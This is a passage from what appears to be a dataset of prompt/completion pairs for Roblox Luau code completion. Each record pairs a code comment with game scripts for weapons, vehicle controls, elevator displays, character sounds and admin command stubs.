(To damage NPC, this needs to be false)\n\t\n\tMouseSense = 0.5;\n\n\tCanAim = true; -- Allows player to aim\n\tCanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)\n\t\n\tLaserAttached = true;\n\tLightAttached = true;\n\tTracerEnabled = true;\n"} +{"prompt": "-- Division of index intervals in sequences a and b at the middle change.\n-- Invariant: intervals do not have common items at the start or end.", "completion": "\ntype Division = {\n\t-- The end of interval preceding division is open like array slice method.\n\tnChangePreceding: number, -- number of change items\n\taEndPreceding: number,\n\tbEndPreceding: number,\n\n\tnCommonPreceding: number, -- 0 if no common items preceding middle change\n\taCommonPreceding: number, -- ignore prop value if nCommonPreceding === 0\n\tbCommonPreceding: number, -- ignore prop value if nCommonPreceding === 0\n\n\tnCommonFollowing: number, -- 0 if no common items following middle change\n\taCommonFollowing: number, -- ignore prop value if nCommonFollowing === 0\n\tbCommonFollowing: number, -- ignore prop value if nCommonFollowing === 0\n\n\t-- The start of interval following division is closed like array slice method.\n\tnChangeFollowing: number, -- number of change items\n\taStartFollowing: number,\n\tbStartFollowing: number,\n}\n\nlocal pkg = \"diff-sequences\" -- for error messages\nlocal NOT_YET_SET = 0 -- small int instead of undefined to avoid deopt in V8\n"} +{"prompt": "-- constants", "completion": "\n\nlocal PLAYER\t= Players.LocalPlayer\nlocal EVENTS\t= ReplicatedStorage:WaitForChild(\"Events\")\nlocal REMOTES\t= ReplicatedStorage:WaitForChild(\"Remotes\")\nlocal MODULES\t= ReplicatedStorage:WaitForChild(\"Modules\")\n\tlocal CONFIG\t\t= require(MODULES:WaitForChild(\"Config\"))\n\tlocal MOUSE\t\t\t= require(MODULES:WaitForChild(\"Mouse\"))\n\tlocal EFFECTS\t\t= require(MODULES:WaitForChild(\"Effects\"))\n\tlocal DAMAGE\t\t= require(MODULES:WaitForChild(\"Damage\"))\n\t\nlocal EQUIP_COOLDOWN\t= 0.2\n"} +{"prompt": "--Because with a model we can't be sure that FilteringEnabled is on (it probably isn't ;n;) we'll put the effects in the camera\n-- (The camera doesn't replicate to the server, which is exactly what we want)", "completion": "\nlocal camera = workspace.CurrentCamera\n"} +{"prompt": "--local Sprinting =false", "completion": "\nlocal L_145_ = L_121_.new(Vector3.new())\nL_145_.s = 15\nL_145_.d = 0.5\n\ngame:GetService(\"UserInputService\").InputChanged:connect(function(L_272_arg1) --Get the mouse delta for the gun sway\n\tif L_272_arg1.UserInputType == Enum.UserInputType.MouseMovement then\n\t\tL_140_ = math.min(math.max(L_272_arg1.Delta.x, -L_142_), L_142_)\n\t\tL_141_ = math.min(math.max(L_272_arg1.Delta.y, -L_142_), L_142_)\n\tend\nend)\n\nL_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still\n\tL_140_ = 0\n\tL_141_ = 0\nend)\n\nlocal L_146_ = false\nlocal L_147_ = CFrame.new()\nlocal L_148_ = CFrame.new()\n\nlocal L_149_ \nlocal L_150_\nlocal L_151_\nlocal L_152_\n\nlocal L_153_\nlocal L_154_\nlocal L_155_\n\nif not L_24_.TacticalModeEnabled then\n\tL_149_ = 0\n\tL_150_ = CFrame.new()\n\tL_151_ = 0.1\n\tL_152_ = 2\n\t\n\tL_153_ = 0\n\tL_154_ = .2\n\tL_155_ = 17\nelse\n\tL_149_ = 0\n\tL_150_ = CFrame.new()\n\tL_151_ = 0.05\n\tL_152_ = 2\n\t\n\tL_153_ = 0\n\tL_154_ = 0.09\n\tL_155_ = 11\nend\n\nlocal L_156_ = 0\nlocal L_157_ = 5\nlocal L_158_ = .3\n\nlocal L_159_, L_160_ = 0, 0\n\nlocal L_161_ = nil\nlocal L_162_ = nil\nlocal L_163_ = nil\n\nL_3_.Humanoid.Running:connect(function(L_273_arg1)\n\tif L_273_arg1 > 1 then\n\t\tL_146_ = true\n\telse\n\t\tL_146_ = false\n\tend\nend)\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(ActiveColour) or BrickColor.new(InactiveColour))\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\t[Whether rotation follows the camera or the mouse.]\n\t[Useful with tools if true, but camera tracking runs smoother.]\n--]]", "completion": "\nlocal MseGuide = true"} +{"prompt": "--[[Controls]]", "completion": "\n\n\tlocal _CTRL = _Tune.Controls\n\tlocal Controls = Instance.new(\"Folder\",script.Parent)\n\tControls.Name = \"Controls\"\n\tfor i,v in pairs(_CTRL) do\n\t\tlocal a=Instance.new(\"StringValue\",Controls)\n\t\ta.Name=i\n\t\ta.Value=v.Name\n\t\ta.Changed:connect(function()\n\t\t\tif i==\"MouseThrottle\" or i==\"MouseBrake\" then\n\t\t\t\tif a.Value == \"MouseButton1\" or a.Value == \"MouseButton2\" then\n\t\t\t\t\t_CTRL[i]=Enum.UserInputType[a.Value]\n\t\t\t\telse\n\t\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t_CTRL[i]=Enum.KeyCode[a.Value]\n\t\t\tend\n\t\tend)\n\tend\n\t\n\t--Deadzone Adjust\n\tlocal _PPH = _Tune.Peripherals\n\t\tfor i,v in pairs(_PPH) do\n\t\tlocal a = Instance.new(\"IntValue\",Controls)\n\t\ta.Name = i\n\t\ta.Value = v\n\t\ta.Changed:connect(function() \n\t\t\ta.Value=math.min(100,math.max(0,a.Value))\n\t\t\t_PPH[i] = a.Value\n\t\tend)\n\tend\n\t\n\t--Input Handler\n\tfunction DealWithInput(input,IsRobloxFunction)\n\t\tif (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus\n\t\t\t--Shift Down [Manual Transmission]\n\t\t\tif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftDown\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftDown\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftDown\"])) and (_TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 and (_TMode==\"Auto\" or not _ClPressing) then _ClutchOn = true end\n\t\t\t\t_CGear = math.max(_CGear-1,-1)\n\t\t\t\t\n\t\t\t--Shift Up [Manual Transmission]\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrShiftUp\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseShiftUp\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"ShiftUp\"])) and (_TMode==\"Semi\" or (_TMode==\"Manual\" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tif _CGear == 0 and (_TMode==\"Auto\" or not _ClPressing) then _ClutchOn = true end\n\t\t\t\t_CGear = math.min(_CGear+1,#_Tune.Ratios-2)\n\t\t\t\t\n\t\t\t--Toggle Clutch\n\t\t\telseif _IsOn and (input.KeyCode ==_CTRL[\"ContlrClutch\"] or (_MSteer and input.KeyCode==_CTRL[\"MouseClutch\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"Clutch\"])) and _TMode==\"Manual\" then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_ClutchOn = false\n\t\t\t\t\t_ClPressing = true\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\t\t_ClPressing = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle PBrake\n\t\t\telseif _IsOn and input.KeyCode ==_CTRL[\"ContlrPBrake\"] or (_MSteer and input.KeyCode==_CTRL[\"MousePBrake\"]) or ((not _MSteer) and input.KeyCode==_CTRL[\"PBrake\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_PBrake = not _PBrake\n\t\t\t\telseif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\tif car.DriveSeat.Velocity.Magnitude>5 then\n\t\t\t\t\t\t_PBrake = false\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Transmission Mode\n\t\t\telseif (input.KeyCode == _CTRL[\"ContlrToggleTMode\"] or input.KeyCode==_CTRL[\"ToggleTransMode\"]) and input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\tlocal n=1\n\t\t\t\tfor i,v in pairs(_Tune.TransModes) do\n\t\t\t\t\tif v==_TMode then n=i break end\n\t\t\t\tend\n\t\t\t\tn=n+1\n\t\t\t\tif n>#_Tune.TransModes then n=1 end\n\t\t\t\t_TMode = _Tune.TransModes[n]\n\t\t\t\t\n\t\t\t--Throttle\n\t\t\telseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL[\"Throttle\"] or input.KeyCode == _CTRL[\"Throttle2\"])) or ((((_CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseThrottle\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseThrottle\"]) or input.KeyCode == _CTRL[\"MouseThrottle\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GThrot = 2\n\t\t\t\telse\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Brake\n\t\t\telseif ((not _MSteer) and (input.KeyCode==_CTRL[\"Brake\"] or input.KeyCode == _CTRL[\"Brake2\"])) or ((((_CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton1 or _CTRL[\"MouseBrake\"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL[\"MouseBrake\"]) or input.KeyCode == _CTRL[\"MouseBrake\"])and _MSteer) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GBrake = .6\n\t\t\t\telse\n\t\t\t\t\t_GBrake = 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Left\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerLeft\"] or input.KeyCode == _CTRL[\"SteerLeft2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\t_SteerL = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerR then\n\t\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerL = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Steer Right\n\t\t\telseif (not _MSteer) and (input.KeyCode==_CTRL[\"SteerRight\"] or input.KeyCode == _CTRL[\"SteerRight2\"]) then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.Begin then\n\t\t\t\t\t_GSteerT = 1\n\t\t\t\t\t_SteerR = true\n\t\t\t\telse\n\t\t\t\t\tif _SteerL then\n\t\t\t\t\t\t_GSteerT = -1\n\t\t\t\t\telse\n\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\tend\n\t\t\t\t\t_SteerR = false\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle Mouse Controls\n\t\t\telseif input.KeyCode ==_CTRL[\"ToggleMouseDrive\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_MSteer = not _MSteer\n\t\t\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t\t\t_GBrake = 0\n\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t_ClutchOn = true\n\t\t\t\tend\n\t\t\t\t\n\t\t\t--Toggle TCS\n\t\t\telseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleTCS\"] or input.KeyCode == _CTRL[\"ContlrToggleTCS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_TCS = not _TCS\n\t\t\t\tend\n\t\t\t\n\t\t\t--Toggle ABS\n\t\t\telseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL[\"ToggleABS\"] or input.KeyCode == _CTRL[\"ContlrToggleABS\"] then\n\t\t\t\tif input.UserInputState == Enum.UserInputState.End then\n\t\t\t\t\t_ABS = not _ABS\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t--Variable Controls\n\t\t\tif input.UserInputType.Name:find(\"Gamepad\") then\n\t\t\t\t--Gamepad Steering\n\t\t\t\tif input.KeyCode == _CTRL[\"ContlrSteer\"] then\n\t\t\t\t\tif input.Position.X>= 0 then\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X-cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tlocal cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)\n\t\t\t\t\t\tif math.abs(input.Position.X)>cDZone then\n\t\t\t\t\t\t\t_GSteerT = (input.Position.X+cDZone)/(1-cDZone)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t_GSteerT = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t--Gamepad Throttle\n\t\t\t\telseif _IsOn and input.KeyCode == _CTRL[\"ContlrThrottle\"] then\n\t\t\t\t\t_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)\n\t\t\t\t\t\n\t\t\t\t--Gamepad Brake\n\t\t\t\telseif input.KeyCode == _CTRL[\"ContlrBrake\"] then\n\t\t\t\t\t_GBrake = input.Position.Z\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t_GThrot = _Tune.IdleThrottle/100\n\t\t\t_GSteerT = 0\n\t\t\t_GBrake = 0\n\t\t\tif _CGear~=0 then _ClutchOn = true end\n\t\tend\n\tend\n\tUserInputService.InputBegan:connect(DealWithInput)\n\tUserInputService.InputChanged:connect(DealWithInput)\n\tUserInputService.InputEnded:connect(DealWithInput)\n\n\n"} +{"prompt": "-----------------------------------------------------------------------------------------------------------", "completion": "\n\nlocal realDataStoreService = game:GetService(\"DataStoreService\")\nlocal allStores = {}\n\nif (game:GetService(\"Players\").LocalPlayer) then\n\twarn(\"Mocked DataStoreService is functioning on the client: The real DataStoreService will not work on the client\")\nend\n\n"} +{"prompt": "-- ROBLOX TODO: fix PrettyFormat types imports", "completion": "\ntype CompareKeys = ((a: string, b: string) -> number) | nil\n\nlocal Types = require(CurrentModule.types)\ntype DiffOptions = Types.DiffOptions\ntype DiffOptionsNormalized = Types.DiffOptionsNormalized\n\nlocal function noColor(s): string\n\treturn s\nend\n\nlocal DIFF_CONTEXT_DEFAULT = 5\n\nlocal OPTIONS_DEFAULT = {\n\taAnnotation = \"Expected\",\n\taColor = chalk.green,\n\taIndicator = \"-\",\n\tbAnnotation = \"Received\",\n\tbColor = chalk.red,\n\tbIndicator = \"+\",\n\tchangeColor = chalk.inverse,\n\tchangeLineTrailingSpaceColor = noColor,\n\tcommonColor = chalk.dim,\n\tcommonIndicator = \" \",\n\tcommonLineTrailingSpaceColor = noColor,\n\t-- ROBLOX deviation: using Object.None instead of nil because assigning nil is no different from not assigning value at all\n\tcompareKeys = Object.None,\n\tcontextLines = DIFF_CONTEXT_DEFAULT,\n\temptyFirstOrLastLinePlaceholder = \"\",\n\texpand = true,\n\tincludeChangeCounts = false,\n\tomitAnnotationLines = false,\n\tpatchColor = chalk.yellow,\n}\n\nlocal function getCompareKeys(compareKeys: CompareKeys?): CompareKeys\n\treturn if compareKeys and typeof(compareKeys) == \"function\" then compareKeys else OPTIONS_DEFAULT.compareKeys\nend\n\nlocal function getContextLines(contextLines: number?): number\n\tif typeof(contextLines) == \"number\" and Number.isSafeInteger(contextLines) and contextLines >= 0 then\n\t\treturn contextLines\n\tend\n\treturn DIFF_CONTEXT_DEFAULT\nend\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 5.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t2.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t1.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.04\t\t,\n\t\t--[[ 3 ]]\t\t1.38\t\t,\n\t\t--[[ 4 ]]\t\t1.03\t\t,\n\t\t--[[ 5 ]]\t\t0.80\t\t,\n\t\t--[[ 6 ]]\t\t0.75\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "\t\ttagHumanoid(h", "completion": "umanoid, creator)\n\n\tend\n\nend\n\n\n\nfunction tagHumanoid(humanoid, creator)\n\n\t-- tag does not need to expire iff all explosions lethal\n\n\t\n\n\tif creator ~= nil then\n\n\t\tlocal new_tag = creator:clone()\n\n\t\tnew_tag.Parent = humanoid\n\n\t\t\n\n\tend\n\nend\n\n\n\nfunction untagHumanoid(humanoid)\n\n\tif humanoid ~= nil then\n\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\n\t\tif tag ~= nil then\n\n\t\t\n\n\t\t\ttag.Parent = nil\n\n\t\tend\n\n\tend\n\nend\n\n\n\nt, s = r.Stepped:wait()\n\n\n\nswoosh = script.Parent.Swoosh\n\nswoosh:play()\n\n\n\nd = t + 10.0 - s\n\nconnection = shaft.Touched:connect(blow)\n\n\n\nwhile t < d do\n\n\tfly()\n\n\tt = r.Stepped:wait()\n\nend\n\n\n\n-- at max range\n\nscript.Parent.Explosion.PlayOnRemove = false\n\nswoosh:stop()\n\nshaft:remove()\n\n"} +{"prompt": "-- << COMMANDS >>", "completion": "\nlocal module = {\n\t\n\t-----------------------------------\n\t{\n\tName = \";give\";\n\tAliases\t= {tool};\n\tPrefixes = {settings.Prefix};\n\tRank = 4;\n\tRankLock = false;\n\tLoopable = false;\n\tTags = {};\n\tDescription = \"\";\n\tContributors = {};\n\t--\n\tArgs = {};\n\tFunction = function(speaker, args)\n\t\t\n\tend;\n\tUnFunction = function(speaker, args)\n\t\t\n\tend;\n\t--\n\t};\n\t\n\t\n\t\n\t\n\t-----------------------------------\n\t{\n\tName = \"music\";\n\tAliases\t= {music};\n\tPrefixes = {settings.Prefix};\n\tRank = 2;\n\tRankLock = true;\n\tLoopable = false;\n\tTags = {};\n\tDescription = \"\";\n\tContributors = {};\n\t--\n\tArgs = {};\n\t--[[\n\tClientCommand = true;\n\tFireAllClients = true;\n\tBlockWhenPunished = true;\n\tPreFunction = function(speaker, args)\n\t\t\n\tend;\n\tFunction = function(speaker, args)\n\t\twait(1)\n\tend;\n\t--]]\n\t--\n\t};\n\t\n\t\n\t\n\t\n\t-----------------------------------\n\t\t{\n\tName = \"volume\";\n\tAliases\t= {loudest};\n\tPrefixes = {settings.Prefix};\n\tRank = 2;\n\tRankLock = true;\n\tLoopable = false;\n\tTags = {};\n\tDescription = \"\";\n\tContributors = {};\n\t--\n\tArgs = {};\n\t--[[\n\tClientCommand = true;\n\tFireAllClients = true;\n\tBlockWhenPunished = true;\n\tPreFunction = function(speaker, args)\n\t\t\n\tend;\n\tFunction = function(speaker, args)\n\t\twait(1)\n\tend;\n\t--]]\n\t--\n\t};\n\t\n\t\n\t\n\t\n\t-----------------------------------\n\t\t{\n\tName = \"pitch\";\n\tAliases\t= {speed/slow sound};\n\tPrefixes = {settings.Prefix};\n\tRank = 2;\n\tRankLock = true;\n\tLoopable = false;\n\tTags = {};\n\tDescription = \"\";\n\tContributors = {};\n\t--\n\tArgs = {};\n\t--[[\n\tClientCommand = true;\n\tFireAllClients = true;\n\tBlockWhenPunished = true;\n\tPreFunction = function(speaker, args)\n\t\t\n\tend;\n\tFunction = function(speaker, args)\n\t\twait(1)\n\tend;\n\t--]]\n\t--\n\t};\n\t\n\t\n\t\n\t-----------------------------------\n\t\t{\n\tName = \"cmdbar2\";\n\tAliases\t= {commandbar2};\n\tPrefixes = {settings.Prefix};\n\tRank = 2;\n\tRankLock = true;\n\tLoopable = false;\n\tTags = {};\n\tDescription = \"\";\n\tContributors = {};\n\t--\n\tArgs = {};\n\t--[[\n\tClientCommand = true;\n\tFireAllClients = true;\n\tBlockWhenPunished = true;\n\tPreFunction = function(speaker, args)\n\t\t\n\tend;\n\tFunction = function(speaker, args)\n\t\twait(1)\n\tend;\n\t--]]\n\t--\n\t};\n\t\n\t\n};\n\n\n\nreturn module\n"} +{"prompt": "--Listen to seat enter/exit", "completion": "\nVehicleSeating.AddSeat(DriverSeat, onEnterSeat, onExitSeat)\n\nfor _, seat in ipairs(AdditionalSeats) do\n\tVehicleSeating.AddSeat(seat, onEnterSeat, onExitSeat)\nend\n"} +{"prompt": "-- map a value from one range to another", "completion": "\nlocal function map(x, inMin, inMax, outMin, outMax)\n\treturn (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin\nend\n\nlocal function playSound(sound)\n\tsound.TimePosition = 0\n\tsound.Playing = true\nend\n\nlocal function stopSound(sound)\n\tsound.Playing = false\n\tsound.TimePosition = 0\nend\n\nlocal function initializeSoundSystem(humanoid, rootPart)\n\tlocal sounds = {}\n\n\t-- initialize sounds\n\tfor name, props in pairs(SOUND_DATA) do\n\t\tlocal sound = Instance.new(\"Sound\")\n\t\tsound.Name = name\n\n\t\t-- set default values\n\t\tsound.Archivable = false\n\t\tsound.EmitterSize = 5\n\t\tsound.MaxDistance = 150\n\t\tsound.Volume = 0.65\n\n\t\tfor propName, propValue in pairs(props) do\n\t\t\tsound[propName] = propValue\n\t\tend\n\n\t\tsound.Parent = rootPart\n\t\tsounds[name] = sound\n\tend\n\n\tlocal playingLoopedSounds = {}\n\n\tlocal function stopPlayingLoopedSounds(except)\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tif sound ~= except then\n\t\t\t\tsound.Playing = false\n\t\t\t\tplayingLoopedSounds[sound] = nil\n\t\t\tend\n\t\tend\n\tend\n\n\t-- state transition callbacks\n\tlocal stateTransitions = {\n\t\t[Enum.HumanoidStateType.FallingDown] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.GettingUp] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.GettingUp)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Jumping] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Jumping)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Swimming] = function()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.Velocity.Y)\n\t\t\tif verticalSpeed > 0.1 then\n\t\t\t\tsounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Splash)\n\t\t\tend\n\t\t\tstopPlayingLoopedSounds(sounds.Swimming)\n\t\t\tsounds.Swimming.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Swimming] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Freefall] = function()\n\t\t\tsounds.FreeFalling.Volume = 0\n\t\t\tstopPlayingLoopedSounds(sounds.FreeFalling)\n\t\t\tplayingLoopedSounds[sounds.FreeFalling] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Landed] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.Velocity.Y)\n\t\t\tif verticalSpeed > 75 then\n\t\t\t\tsounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Landing)\n\t\t\tend\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Running] = function()\n\t\t\tstopPlayingLoopedSounds(sounds.Running)\n\t\t\tsounds.Running.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Running] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Climbing] = function()\n\t\t\tlocal sound = sounds.Climbing\n\t\t\tif math.abs(rootPart.Velocity.Y) > 0.1 then\n\t\t\t\tsound.Playing = true\n\t\t\t\tstopPlayingLoopedSounds(sound)\n\t\t\telse\n\t\t\t\tstopPlayingLoopedSounds()\n\t\t\tend\n\t\t\tplayingLoopedSounds[sound] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Seated] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Dead] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Died)\n\t\tend,\n\t}\n\n\t-- updaters for looped sounds\n\tlocal loopedSoundUpdaters = {\n\t\t[sounds.Climbing] = function(dt, sound, vel)\n\t\t\t--TODO: this shouldn't be necessary to check boolean! Need engine to fix this\n\t\t\tlocal shouldPlay = vel.Magnitude > 0.1\n\t\t\tif sound.Playing ~= shouldPlay then\n\t\t\t\tsound.Playing = shouldPlay\n\t\t\tend\n\t\tend,\n\n\t\t[sounds.FreeFalling] = function(dt, sound, vel)\n\t\t\t--TODO: this shouldn't be necessary to check boolean! Need engine to fix this\n\t\t\tlocal newVolume = 0\n\t\t\tif vel.Magnitude > 75 then\n\t\t\t\tnewVolume = math.clamp(sound.Volume + 0.9*dt, 0, 1)\n\t\t\tend\n\t\t\tif newVolume ~= sound.Volume then\n\t\t\t\tsound.Volume = newVolume\n\t\t\tend\n\t\tend,\n\n\t\t[sounds.Running] = function(dt, sound, vel)\n\t\t\t--TODO: this shouldn't be necessary to check boolean! Need engine to fix this\n\t\t\tlocal shouldPlay = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5\n\t\t\tif shouldPlay ~= sound.Playing then\n\t\t\t\tsound.Playing = shouldPlay\n\t\t\tend\n\t\tend,\n\t}\n\n\t-- state substitutions to avoid duplicating entries in the state table\n\tlocal stateRemap = {\n\t\t[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,\n\t}\n\n\tlocal activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()\n\tlocal activeConnections = {}\n\n\tlocal stateChangedConn = humanoid.StateChanged:Connect(function(_, state)\n\t\tstate = stateRemap[state] or state\n\n\t\tif state ~= activeState then\n\t\t\tlocal transitionFunc = stateTransitions[state]\n\n\t\t\tif transitionFunc then\n\t\t\t\ttransitionFunc()\n\t\t\tend\n\n\t\t\tactiveState = state\n\t\tend\n\tend)\n\n\tlocal steppedConn = RunService.Stepped:Connect(function(_, worldDt)\n\t\t-- update looped sounds on stepped\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tlocal updater = loopedSoundUpdaters[sound]\n\n\t\t\tif updater then\n\t\t\t\tupdater(worldDt, sound, rootPart.Velocity)\n\t\t\tend\n\t\tend\n\tend)\n\n\tlocal humanoidAncestryChangedConn\n\tlocal rootPartAncestryChangedConn\n\n\tlocal function terminate()\n\t\tstateChangedConn:Disconnect()\n\t\tsteppedConn:Disconnect()\n\t\thumanoidAncestryChangedConn:Disconnect()\n\t\trootPartAncestryChangedConn:Disconnect()\n\tend\n\n\thumanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)\n\t\tif not parent then\n\t\t\tterminate()\n\t\tend\n\tend)\n\n\trootPartAncestryChangedConn = 